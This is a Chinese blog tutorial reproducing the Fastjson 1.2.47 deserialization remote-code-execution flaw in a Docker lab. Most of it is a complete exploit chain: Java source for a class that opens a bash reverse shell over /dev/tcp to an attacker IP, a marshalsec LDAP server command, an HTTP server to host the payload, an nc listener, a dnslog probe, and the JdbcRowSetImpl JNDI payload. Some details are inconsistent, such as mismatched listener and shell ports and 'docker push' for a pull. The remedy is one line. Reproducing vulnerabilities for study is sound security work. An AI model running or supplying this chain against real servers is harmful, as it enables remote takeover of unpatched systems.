Fastjson <= 1.2.47 反序列化漏洞复现

0x01 前言

Fastjson 是一个 Java 语言编写的高性能功能完善的 JSON 库,可以将 Java 对象转换为 JSON 格式,也可以将 JSON 字符串转换为 Java 对象,在中国和美国使用较为广泛。

0x02 漏洞成因

Fastjson < 1.2.68 版本在处理反序列化对象时存在安全问题,导致攻击者可以执行 java 代码,具体分析可参考:FastJson 反序列化学习

0x03 环境准备

docker 搜索 Fastjson 漏洞利用镜像:
docker search fastjson

这里选择 fastjson1.2.47_rce 镜像进行漏洞复现,将镜像 push 回本地:
docker push initidc/fastjson1.2.47_rce

查看本地镜像:
docker images

开启镜像:
docker run -it -p 8080:8080 a82832ac7f62

复现漏洞还需要在本地开启 rmi 或 ldap 服务,这里我们使用 marshalsec 快速开启 rmi 或 ldap 服务,下载地址:https://github.com/mbechler/marshalsec

下载解压后进入 marshalsec 文件夹,使用 maven 编译出 jar 包(没有 maven 自行下载安装):
mvn clean package -DskipTests

编译完成后在 target 文件夹中找到我们需要的 jar 文件:marshalsec-0.0.3-SNAPSHOT-all.jar

最后准备我们的攻击代码:

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.134.130/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"}); //ip端口自行替换为接收shell地址
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

编译出 .class 文件:
javac Exploit.java

OK,环境基本准备就绪。

0x04 漏洞复现

访问环境:
http://x.x.x.x:8080/fastjson/

先进行 dnslog 探测尝试:
{"@type":"java.net.Inet4Address","val":"1.sap0b9.dnslog.cn"}


dnslog 探测成功,利用攻击脚本进行攻击尝试。

首先利用 python 起 http ,将攻击代码挂起:
python -m http.server 8888

启动 ladp 服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://x.x.x.x:8888/#Exploit 9999

攻击机监听端口:
nc -lvvp 8089

使用攻击 payload 进行反弹攻击:

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "x":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://x.x.x.x:9999/Exploit", //你的ldap服务地址
        "autoCommit":true
    }
 
}

成功反弹 shell ,复现成功:

0x05 注意点

利用 RMI 或 LDAP 对本地 jdk 版本有要求,利用 RMI 服务 jdk 版本必须低于 8u121 ,利用 LDAP 服务 jdk 版本必须低于 8u182 。

这是我本地 jdk 版本:

0x06 修复方案

升级到最新版本~

posted @ 2021-08-23 14:28  cHr1s_h  阅读(240)  评论(0编辑  收藏  举报